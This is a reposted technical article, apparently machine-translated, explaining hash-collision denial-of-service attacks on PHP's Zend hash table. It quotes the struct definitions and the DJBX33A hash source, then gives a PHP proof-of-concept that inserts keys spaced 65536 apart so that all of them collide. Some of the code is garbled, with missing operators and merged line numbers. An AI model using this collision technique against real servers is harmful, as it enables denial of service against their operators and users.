PHP Hash Table Collision Attack

Source: Internet
Author: User
Tags pow zend

Hash table is a very efficient data structure, the hash table in PHP is a very important data structure, not only for representing arrays, associative arrays, object properties, function tables, symbol tables, It is also used inside the Zend virtual machine to store contextual information (variables and functions that execute context are stored using the hash table structure).

PHP uses a single-linked list to store collisions, so the average lookup complexity of the PHP hash table is O (l), where L is the average length of the bucket list, and the worst-case complexity is O (N), when all the data collide and the hash table degrades into a single-linked list

Hash table collision Attack is through the careful construction of data, so that all the data collision, artificial hash table into a degenerate single-linked list, this time the hash table various operations increased by an order of magnitude, and therefore consume a lot of CPU resources, resulting in the system can not quickly respond to requests, To achieve the purpose of a denial of service attack (DoS)

Here is the structure of the hash table

1234567891011121314151617181920212223242526272829 typedef struct bucket {        ulong h;                                               /* Used for numeric indexing */        uint nKeyLength;        void *pData;        void *pDataPtr;        struct bucket *pListNext;        struct bucket *pListLast;        struct bucket *pNext;        struct bucket *pLast;        constchar *arKey;} Bucket;typedef struct _hashtable {        uint nTableSize;        uint nTableMask;        uint nNumOfElements;        ulong nNextFreeElement;        Bucket *pInternalPointer;       /* Used for element traversal */        Bucket *pListHead;        Bucket *pListTail;        Bucket **arBuckets;        dtor_func_t pDestructor;        zend_bool persistent;        unsigned char nApplyCount;        zend_bool bApplyProtection;#ifZEND_DEBUG        int inconsistent;#endif} HashTable;

Zend Hashtable's hashing algorithm is exceptionally simple:

Hash (key) =key & Ntablemask

That is, the original key of the data and the ntablemask of Hashtable can be simply bitwise AND.

If the original key is a string, first use the TIMS33 algorithm to convert the string to reshape and then to the Ntablemask bitwise with.

Hash (strkey) =time33 (strkey) & Ntablemask

Here is the Times 33 algorithm in/zend/zend_hash.h this file

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061 /* * DJBX33A (Daniel J. Bernstein, Times 33 with Addition) * * This is Daniel J. Bernstein‘s popular `times 33‘ hash function as * posted by him years ago on comp.lang.c. It basically uses a function * like ``hash(i) = hash(i-1) * 33 + str[i]‘‘. This is one of the best * known hash functions for strings. Because it is both computed very * fast and distributes very well. * * The magic of number 33, i.e. why it works better than many other * constants, prime or not, has never been adequately explained by * anyone. So I try an explanation: if one experimentally tests all * multipliers between 1 and 256 (as RSE did now) one detects that even * numbers are not useable at all. The remaining 128 odd numbers * (except for the number 1) work more or less all equally well. They * all distribute in an acceptable way and this way fill a hash table * with an average percent of approx. 86%. * * If one compares the Chi^2 values of the variants, the number 33 not * even has the best value. But the number 33 and a few other equally * good numbers like 17, 31, 63, 127 and 129 have nevertheless a great * advantage to the remaining numbers in the large set of possible* multipliers: their multiply operation can be replaced by a faster * operation based on just one shift plus either a single addition * or subtraction operation. And because a hash function has to both * distribute good _and_ has to be very fast to compute, those few * numbers should be preferred and seems to be the reason why Daniel J. * Bernstein also preferred it. * * *                  -- Ralf S. Engelschall <[email protected]> */staticinline ulong zend_inline_hash_func(constchar *arKey, uint nKeyLength){        register ulong hash = 5381;        /* variant with the hash unrolled eight times */        for(; nKeyLength >= 8; nKeyLength -= 8) {                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;        }        switch(nKeyLength) {                case7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case1: hash = ((hash << 5) + hash) + *arKey++; break;                case0: break;EMPTY_SWITCH_DEFAULT_CASE()  }        returnhash;}

So, how is this key value constructed?

PHP hashtable size is 2 index, for example, if you deposit 10 elements of the array, then the actual size of the array is 16, if the deposit 20, then the actual size is 32, and 63 words, the actual size is 64. When your number of elements is greater than the maximum number of elements currently in the array, PHP expands the array and hashes the new hash.

Now, let's say we're going to deposit 65,536 elements (the middle may be expanding, but we just need to know that the last array size is 65536 and the corresponding Tablemask is 0 1111 1111 1111 1111), so if the first time we deposit the key value of the element is 0,  The value after the hash is 0, the second 64, also makes the hash after the data is 0 nth time ... This allows the underlying PHP array to hash all the elements into the No. 0 bucket, making the hash table degenerate into a linked list.

The following specific data

0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

......

In general terms, as long as the 16 bits are guaranteed to be 0, then the hash value after the mask is located is all colliding at position 0.

Here is an attack code written using this principle:

1234567891011121314151617181920212223242526272829 <?php $size= pow(2, 16); $startTime= microtime(true); $arrayarray();for($key= 0, $maxKey= ($size - 1) * $size$key<= $maxKey$key+= $size) {    $array[$key] = 0;} $endTime= microtime(true); echo$endTime$startTime‘ seconds‘"\n";/********************************************************************************************************/$size= pow(2, 16);$startTime= microtime(true);$arrayarray();for($key= 0, $maxKey= ($size- 1) * $size$key<= $size$key+= 1) {$array[$key] = 0;}$endTime= microtime(true);echo$endTime$startTime‘ seconds‘"\n";

The normal seconds are done, and the attack takes dozens of seconds.

For the post mode hash collision attack, you can see http://www.laruence.com/2011/12/30/2440.html.

Reference: http://www.laruence.com/2011/12/30/2435.html

PHP Hash Table Collision Attack

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.